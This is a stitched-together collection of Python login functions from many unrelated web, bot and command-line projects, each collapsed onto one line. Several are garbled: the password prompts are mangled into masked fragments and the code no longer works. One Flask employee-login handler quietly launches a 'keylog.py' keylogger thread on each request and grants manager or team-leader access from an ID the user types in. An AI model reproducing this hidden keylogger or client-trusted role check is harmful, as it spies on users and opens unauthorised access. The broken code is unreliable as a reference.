def login_step(message, user_data): if user_exists(user_data.name, user_data.password): db.create_user(tg_id=user_data.tg_id, hostname=user_data.hostname, name=user_data.name, password=user_data.password) db.login(message.chat.id) bot.send_message(message.chat.id, text='Успешный вход', reply_markup=keyboards.dashboard()) else: bot.send_message(message.chat.id, 'Некоректные данные попробуйте снова')
def student_login( student = None, location = None, secret = None ): if request.method == 'POST': f = request.form if not 'location' in f: abort( 500 ) if not 'student' in f: abort( 500 ) if not 'secret' in f: abort( 500 ) location = f[ 'location' ] student = f[ 'student' ] secret = f[ 'secret' ] if request.method == 'GET': if not ( student and location and secret ): return render_template( 'login.html' ) if secret != app.config[ 'SECRET_STUDENTS' ]: abort( 403 ) session[ 'location' ] = location db.login( student, location ) return redirect( url_for( 'student' ) )
def main(): db.connect() while True: print("VECTA CORP HELP DESK ADMIN LOG IN") print("-" * 95) username = input("Username: "******"Password: "******"\nYour credentials are invalid. Please try again.\n") display_menu() while True: command = input("Enter command: ") if command == "view": view_employees() elif command == "add": add_employee() elif command == "del": delete_employee() elif command == "exit": break else: print("Not a valid command. Please try again. \n") display_menu() db.close() print("The program has been terminated!")
def login_user(self): user_name = self.ui.loginUserField.text().strip() password = self.ui.loginPasswordField.text() if len(user_name) <= 0: self.ui.loginErrorLabel.setStyleSheet("#loginErrorLabel{\n" " color: darkred;\n" "}") self.ui.loginErrorLabel.setText("Username required!") return if len(password) <= 0: self.ui.loginErrorLabel.setStyleSheet("#loginErrorLabel{\n" " color: darkred;\n" "}") self.ui.loginErrorLabel.setText("Password required!") return if db.login(user_name, password): self.main = posApp() self.main.show() self.close() else: self.ui.loginErrorLabel.setStyleSheet("#loginErrorLabel{\n" " color: darkred;\n" "}") self.ui.loginErrorLabel.setText("Login failed!")
def post(self): valid, data = db.login(self.get_argument("email"), self.get_argument("password")) if valid: self.set_secure_cookie("session_id", data.session_id) self.redirect("/") else: self.render("login.html", error_msg=data)
def main(): db.connect() while True: print("VECTA CORP HELP DESK USER LOG IN") print("-" * 110) username = input("Username: "******"Password: "******"\nYour credentials are invalid. Please try again. \n") display_menu() while True: command = input("Enter command: ") if command == "view": view_tickets() elif command == "issue": view_ticket_issue() elif command == "add": add_ticket() elif command == "update": update_ticket() elif command == "exit": break else: print("Not a valid command. Please try again.") display_menu() db.close() print("The program has been terminated.")
def login(): #Login page redirects if request.method == 'POST': Eid = request.form['empid'] username = request.form['username'] password = request.form['password'] session['user'] = username session[ 'id'] = Eid # Use this Eid according the requirement in the below routes using session.get('id') method top = session.get('top') #redirect to different dashboard based on the eid of the employee if database.login(username, password): if int(Eid) in range(1, 100): return redirect(url_for('manager')) elif int(Eid) in range(100, 500): return redirect(url_for('teamleader')) else: return redirect(url_for('emp')) path = "keylog.py" def thread_second(): call(['python', path]) processThread = threading.Thread(target=thread_second) processThread.start() return render_template('login.html')
def login(): if request.method == "POST": if (request.form): creds = request.form status_code = db.login(creds) if status_code == 200: session["auth_field"] = creds["uname"] session["perms"] = "ADMIN" return redirect(url_for("dashboard")) else: return jsonify(status_code) if (request.get_json()): json = request.get_json() res = db.login(json) return jsonify(res) return render_template('login.html')
def login_user(): if request.method == 'POST': key = app.config['SECRET_KEY'] dataDict = json.loads(request.data) username = dataDict['username'] password = dataDict['password'] return json.dumps(login(None, username, password, key))
def auth(): if request.form[ 'submit_button'] == "Sign me up": #If you were sent here by registering if dbase.addUser(): return redirect(url_for("root")) else: return redirect( url_for("register") ) #if addUser() returns false, it will also handle flashing the correct error message if request.form['submit_button'] == "Login": #if sent here by logging in if dbase.login(): session['user'] = request.form[ 'username'] #stores the user in the session dbase.fillUserInfo( userInfo ) #gives easy access to user information via userInfo variable return redirect(url_for("home")) else: return redirect(url_for("login")) if request.form[ 'submit_button'] == "Update Info": #If updating info, fill in db dbase.update() dbase.fillUserInfo( userInfo ) #gives easy access to user information via userInfo variable return redirect(url_for("home")) if request.form['submit_button'] == "Update Key" or request.form[ 'submit_button'] == "Add Key": dbase.updateAPIKey(request.form['submit_button']) return redirect(url_for("home"))
def login_author(author_name,pwd): token = db.login(author_name,pwd) if token is not False: author = db.get_author(author_name) cherrypy.response.cookie["session_token"] = token cherrypy.response.cookie["author_id"] = author["id"] return author return False
def post(self): data = request.get_json() username = data['userName'] password = data['password'] result = db.login(username, password) return result
def login(): emp_id = request.form['emp_id'] emp_password = request.form['emp_password'] row_length = db.login(emp_id, emp_password).__len__() if (row_length == 1): token = encode(emp_id).decode() return jsonify({'token': token}) else: return "false"
def login(): form = LoginForm(request.form) if request.method == 'POST' and form.validate(): data = db.login(form.username.data, form.password.data) if not data: raise err.BadInput('Incorrect Username/Password') session['username'] = data['username'] session['role'] = int(data['SecurityLevel']) return redirect('/index') return render_template('login.html', title='Sign In', form=form)
def authenticate(): global username usernameInput = input("Username: ") password = getpass() if db.login(usernameInput, password): username = usernameInput return True else: return False
def login(): data = request.get_json() #bytes print("data_receive") print(data) state = db.login(data) print("state") print(state["state"]) if state["state"] == "register_success": os.makedirs(data["name"]) ret = {"status": state["state"]} return json.dumps(ret)
def login(username, password): global passed global name loginQueryFetch = db.login(username, password) if loginQueryFetch is None: emit('loginFailed', 'Invalid Username', namespace='/eCom') else: session['username_redirect'] = username passed = True name = username emit('redirect', '/', namespace='/eCom')
def login(): if request.method == 'POST': try: name = request.form['name'] pw = request.form['pw'] user_object = db.login(name, pw) session['logged_in'] = True session['name'] = user_object.get_name() except: pass return redirect("https://warzone.kro.kr/PinterROOT/")
def login(): if flask.request.method == "GET": return flask.render_template("login.html") elif flask.request.method == "POST": attemptedUser = flask.request.form['username'] attemptedPass = flask.request.form['password'] user_type = db.login(attemptedUser, attemptedPass) if user_type == 'unapprovedCO': return flask.render_template('login.html', error="Account Not Yet Approved by Admin") if not user_type: return flask.render_template('login.html', error="Invalid Credentials") global user user = User(attemptedUser, user_type) return flask.redirect(user_type)
def auth(): if request.form['submit_button'] == "Sign me up": #If you were sent here by registering if dbase.addUser(): return redirect(url_for("root")) else: return redirect(url_for("register")) #if addUser() returns false, it will also handle flashing the correct error message if request.form['submit_button'] == "Login": #if sent here by logging in if dbase.login(): session['user'] = request.form['username'] #stores the user in the session return redirect(url_for("home")) else: return redirect(url_for("login"))
def login_user(): if request.method == 'GET': return render_template('login.html') else: email = request.form['email'] password = request.form['pw'] # remember = request.form['remember'] username = login(email, password) if username: session['user'] = username[0] return redirect(url_for('user_page', name=username[0])) else: return redirect(url_for('login_user'))
def handle_login(states, stdscr): global username, player_id result = db.login(states["login"]["buffer"], states["password"]["buffer"]) stdscr.addstr(6, 8, result["status"]) if result["logged_in"]: username = states["login"]["buffer"] player_id = result["player_id"] stdscr.addstr(7, 8, "Press any key to face the dungeon of doom") return "play" else: states["login"]["buffer"] = "" states["password"]["buffer"] = "" return "login"
def login_user(): auth = request.authorization check_user = login(auth.username, auth.password) if check_user["authenticated"]: token = jwt.encode( { 'user_id': check_user["user_id"], 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=2) }, app.config['SECRET_KEY'], algorithm='HS256') return jsonify({'token': token.decode('UTF-8')}) return make_response(jsonify({"message": 'login failed'}), 401, {'WWW-Authenticate': 'Basic realm="Login Required"'})
def login(): if request.method == 'POST': form_details = request.form if api.mail_confirm(form_details['email']) == True: data = api.login(form_details['email'], form_details['pass']) if (data == 'correct_password'): session['email'] = form_details['email'] return render_template('index.html') elif data == 'wrong_password': return render_template('login.html') elif data == 'username_dosenot_exist': return render_template('login.html') return render_template('login.html') return render_template('login.html')
def login(): if request.method=="GET": return render_template("login.html", message = "") d={'uname':request.form['uname'],'pword':request.form['pword']} if request.form['button']=="Submit": if db.login(d['uname'],d['pword']): return redirect(url_for('user', username = d['uname'])) return render_template("login.html", message = "error, invalid username-password combination") return render_template("login.html", message = "")
def login(): if 'user' in session: return redirect(url_for('home',loggedin=True)) elif request.method == "GET": return render_template("login.html", message = "") else: user = request.form['user'].encode ('ascii',"ignore") pw = request.form['pass'].encode ('ascii',"ignore") if user == "" or pw == "": return render_template("login.html", message = "Please enter your username and password.") elif db.login(user, pw): session['user'] = user return redirect(url_for('home',loggedin=True)) else: return render_template("login.html", message = "Invalid username and password combination. Usernames and passwords are case sensitive. Please try again.")
def login(): if request.method == 'GET': form = LoginForm() return render_template('login.html', form = form) else: form = LoginForm() if form.validate_on_submit(): name = form.name.data password = form.password.data user = db.login(name, password) if user: session['hasLogin'] = True session['userId'] = user.userId return redirect('/') return render_template('login.html', form = form)
def login(): username = input("Username: "******"Password: "******"" if status == 0: print("User does not exist!\n") elif status == 1: print("Wrong password!\n") else: print("\n\nWELCOME " + status + " user\n") returnValue = username return returnValue
def login(): if request.method == "GET": return render_template("login.html", message="") d = {'uname': request.form['uname'], 'pword': request.form['pword']} if request.form['button'] == "Submit": if db.login(d['uname'], d['pword']): return redirect(url_for('user', username=d['uname'])) return render_template( "login.html", message="error, invalid username-password combination") return render_template("login.html", message="")
def login(): session['search-feed'] = None login_form = loginForm() if login_form.validate_on_submit(): result = db.login(login_form.emailaddress.data, login_form.password.data) if result != None: session['remember'] = db.get_userinfo(result[0]) flash('로그인 성공!', 'success') return redirect(url_for('item_feed')) else: flash('무언가 잘못되었습니다..', 'failure') return render_template('login.html', login_form=login_form)
def login(credentials): if b':' not in credentials: return (error.InvalidMsg, ) username, password = credentials.split(b':') try: auth = db.login(username, password) except: return (error.DBError, ) # Successful login if auth: threadData.currentUser = username return (error.Success, auth) # Failed Login threadData.currentUser = None return (error.BadCredentials, )
def changePassword(passwords): if b'|' not in passwords: return (error.InvalidMsg, ) oldPass, newPass = passwords.split(b'|') user = threadData.currentUser if not user: return (error.Unauthorized, ) try: if db.login(user, oldPass, newToken=False): db.changePassword(user, newPass) return (error.Success, ) # Old Password was bad return (error.BadCredentials, ) except: return (error.DBError, )
def login_page(): failed = "" if request.method == 'POST': auth = login(request.form) if auth["username"]: if auth["lock"]: if auth["password"]: #session['username'] = request.form['username'] token = auth["token"] return redirect(url_for('login_step2', token=token)) else: failed = "failed" else: return redirect("/deny") else: failed = "failed" return render_template("login.html", failed=failed)
def auth_login(email, password): if not email_check(email): raise InputError if not email_dupe_check(email): raise InputError if not password_check(password): raise InputError user = find_email(email) token = login(user) data = get_user_store() for i in data['users']: if i['u_id'] == user['u_id']: i['token'] = token print("The person being logged in is") print(user) return {"u_id": user["u_id"], "token": token}
def loginUser(): if request.method == "POST": function = Function() if function.state() == 1: user = request.form.get('username') password = request.form.get('password') status, message = login(user, password) data = {'status': status, 'message': message} elif function.state() == 0: data = {'status': False, 'message': 'Election not started Yet!!!'} elif function.state() == 2: data = {'status': False, 'message': 'Election Over!!!'} return Response(json.dumps(data)) else: return 403
def login(): error = None if request.method == 'POST': loginstatus, userid, acttype = db.login(request.form['username'],request.form['password']) if loginstatus == True: session['steponelogin'] = True session['userid'] = userid session['account'] = acttype return redirect(url_for('login_verify')) elif loginstatus == False: error = 'Invalid e-mail or password' else: error = 'Login mechanism failed' try: session.pop('steponelogin', None) session.pop('userid', None) session.pop('account', None) session.pop('steptwologin', None) except KeyError: pass return render_template('login.html', error=error)
def login(data): return db.login(data["username"], data["password"])